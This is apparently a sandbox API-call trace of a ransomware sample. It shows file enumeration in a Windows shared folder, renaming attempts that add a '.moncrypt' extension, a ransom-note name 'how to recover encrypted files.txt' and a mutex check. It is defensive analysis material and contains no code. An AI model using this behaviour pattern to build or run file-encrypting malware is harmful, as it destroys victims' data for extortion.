lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xmlr", lpUsedDefaultChar=0x0) returned 62 [0045.640] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0045.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\Content.xmlr", lpUsedDefaultChar=0x0) returned 4 [0045.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 0x54e200 [0045.640] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.640] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.640] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", dwFileAttributes=0x20) returned 0 [0045.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.moncrypt")) returned 0 [0045.641] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0045.641] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.641] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.641] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.641] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.641] GlobalUnlock (hMem=0x44000c) returned 0 [0045.641] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.641] GlobalLock (hMem=0x440004) returned 0x553188 [0045.641] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.641] GlobalUnlock (hMem=0x44000c) returned 0 [0045.641] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.641] GlobalUnlock (hMem=0x440004) returned 0 [0045.641] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.642] CharLowerBuffW (in: lpsz="ConvertInkStore.exe", cchLength=0x13 | out: lpsz="convertinkstore.exe") returned 0x13 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", cchWideChar=70, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exec", lpUsedDefaultChar=0x0) returned 70 [0045.642] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0045.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\ink\\ConvertInkStore.exec", lpUsedDefaultChar=0x0) returned 4 [0045.642] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0045.642] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0045.643] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.643] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.643] GlobalLock (hMem=0x440004) returned 0x551178 [0045.643] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.643] GlobalUnlock (hMem=0x440004) returned 0 [0045.643] GlobalLock (hMem=0x440004) returned 0x551178 [0045.643] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.643] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.643] GlobalUnlock (hMem=0x440004) returned 0 [0045.643] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.643] GlobalUnlock (hMem=0x44000c) returned 0 [0045.643] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.643] CharLowerBuffW (in: lpsz="FlickAnimation.avi", cchLength=0x12 | out: lpsz="flickanimation.avi") returned 0x12 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", cchWideChar=69, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpUsedDefaultChar=0x0) returned 69 [0045.644] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0045.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\FlickAnimation.avi", lpUsedDefaultChar=0x0) returned 4 [0045.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 0x54e200 [0045.644] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.644] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.644] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", dwFileAttributes=0x20) returned 0 [0045.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.moncrypt")) returned 0 [0045.645] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.645] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.645] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.645] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.645] GlobalUnlock (hMem=0x44000c) returned 0 [0045.645] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.645] GlobalLock (hMem=0x440004) returned 0x553188 [0045.645] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.645] GlobalUnlock (hMem=0x44000c) returned 0 [0045.645] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.645] GlobalUnlock (hMem=0x440004) returned 0 [0045.645] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.646] CharLowerBuffW (in: lpsz="FlickLearningWizard.exe", cchLength=0x17 | out: lpsz="flicklearningwizard.exe") returned 0x17 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: 